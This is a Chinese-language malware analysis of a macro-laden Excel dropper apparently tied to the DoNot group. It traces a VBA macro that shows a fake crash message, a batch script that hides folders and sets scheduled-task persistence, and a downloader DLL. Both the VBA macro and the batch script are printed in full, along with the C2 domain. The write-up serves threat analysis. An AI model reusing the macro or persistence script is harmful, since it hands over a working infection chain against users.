0x00 背景
情报来源于Twitter,在首页看到了如下信息:
但是Twitter上提到的hash在vt上并没有相应的样本
于是在评论中,找到了原始的md5:
原始样本hash为:4428912f168f3f1f0554126de7b4eced,通过app.any.run下载到本地。
0x01 原始样本分析
原始样本是一个带密码保护的宏代码利用xls文档,启用宏之后,会弹框提示运行错误,但其实恶意代码已经在后台运行完成。
将宏代码的保护密码通过工具去除之后,可以看到宏代码如下:
Sub Workbook_Open()
Dim digit
Dim Digital As String
Dim request As String
Digital = Environ$("APPDATA")
request = Environ$("TEMP")
Application.Wait Now + TimeValue("0:00:03")
a = MsgBox("Microsoft Excel has stopped working", vbCritical, "Warning")
sunjava = "Scr" + "ipting.File" + "System" + "Object"
Set digit = CreateObject(sunjava)
Sheet12.OLEObjects("Object 1").Copy
Sheet8.OLEObjects("Object 1").Copy
digit.CopyFile request & "\Vol", Digital & "\s.bat" 'FileFormat:=xlOpenXMLWorkbook
digit.CopyFile request & "\s", Digital & "\s" 'FileFormat:=xlOpenXMLWorkbook
https = Digital & "\" & "s.bat"
Call Shell(https, vbHide)
End Sub
通过VBA代码,我们可以得知,该段代码首先会获取%appdata%和%temp%的环境变量,猜测后续会释放文件到这两个路径下。
接着程序会通过MsgBox弹出我们之前看到的对话框用于迷惑用户。
接着创建一个Scripting.FileSystemObject对象,以执行后面从工作簿中读取的出来的s.bat文件
最后通过call Shell的方式执行s.bat
我们查看一下s.bat的内容:
echo off
md %USERPROFILE%\Inet\Logs\Cust
md %USERPROFILE%\Inet\Logs\Pool
md %USERPROFILE%\Common\Build\Office
md %USERPROFILE%\Files\Shared\Web
md %USERPROFILE%\Viewer\Information\Policy
attrib +a +h +s %USERPROFILE%\Inet
attrib +a +h +s %USERPROFILE%\Common
attrib +a +h +s %USERPROFILE%\Files
attrib +a +h +s %USERPROFILE%\Viewer
del /f %USERPROFILE%\Inet\Logs\Pool\agnia
SET /A %COMPUTERNAME%
SET /A RAND=%RANDOM% 10000 + 2
echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%\Inet\Logs\Pool\agnia
schtasks /delete /tn Feed /f
schtasks /delete /tn Sys_Core /f
schtasks /create /sc minute /mo 10 /f /tn Sys_Core /tr %USERPROFILE%\Files\Shared\Web\gapdat.exe
schtasks /create /sc minute /mo 30 /f /tn Feed /tr "rundll32.exe '%USERPROFILE%\Viewer\Information\Policy\sqmap.dll', calldll"
move %AppData%\s %USERPROFILE%\Viewer\Information\Policy
ren %USERPROFILE%\Viewer\Information\Policy\s sqmap.dll
del %0
通过bat的内容,我们可以得知程序获取了计算机的COMPUTERNAME和一个随机值写入到了%USERPROFILE%\Inet\Logs\Pool\agnia,然后程序设置了两个计划任务,并且将%appdata%下的s文件移动到了%USERPROFILE%\Viewer\Information\Policy\s并重命名为sqmap.dll
计划任务1:
计划任务2:
我们查看计划任务1所指定的目录文件可以发现暂时是0kb
我们查看计划任务2所指定的任务,可以看到文件已经成功移动过来:
通过hash查询可以确定是同一个文件:
且我们通过计划任务2可以得知,这里是通过rundll32.exe 调用了这个名为sqlmap.dll的calldll方法。
目前vt上关于sqlmap.dll检出量为0:
我们通过IDA加载sqlmap.dll 找到calldll方法。
0x02 sqlmap.dll分析
加载sqlmap.dll,我们可以得到PDB信息:C:\Users\spartan\Documents\Visual Studio 2010\new projects\frontend\Release\test.pdb
该pdb以前未出现过,而且结合test.pdb的字眼,该样本可能是攻击者开发的测试版本。
calldll在导出表中
calldll函数体很简单,就执行来一个call sub_10001280 我们跟进到该函数。
sub_10001280 首先是通过strcpy复制了一个看起来像是加密字符串的东西到变量
bbLorkybbYngxkjbb]khbbmgvjgz4k~k
该字符串暂时在Google上没有检出:
回到代码中,接下来程序会对上面的字符串进行解密:
调试器中直接在calldll函数这里设置eip然后运行:
F7跟进进来
成功解密之后发现就是先前看到的路径
回到IDA中进行标注后继续往下看,成功解密之后,尝试打开文件对象,打开失败,则push16A26h然后执行slepp,sleep之后调用sub_10001000,这里的sleep应该是用于反沙箱的
sub_10001000的内容非常明显,是解密URL并请求,所以很明显,sqlmap.dll是一个Download,比较直观的C伪代码显示:
根据之前看到的信息,可以猜测这里是解密了域名之后,下载文件保存到之前看到大小为0kb的路径下,然后通过计划任务持久化执行。
解密得到
dnsresolve.live
该地址已经跟donot关联了起来
解析参数是
但是目前这个地址404了,不知道是不是我请求姿势的问题。
于是查询了一下h6s87ehsci75sgats关键字:
发现沙箱和vt也是404 ,这里后续就断了
加上header也是404
那么此次攻击分析到这类就没有后续了,不知道是不是因为样本曝光,攻击者撤销了后续下载样本的原因。还是攻击者已经通过bat文件实现了本地持久化,所以故意暂时没有开放目标地址,防止分析人员,等热度过去了之后,再放开这个地址。如果是后面这种情况,可以考虑写脚本监视这个地址,看看过段时间是否有返回。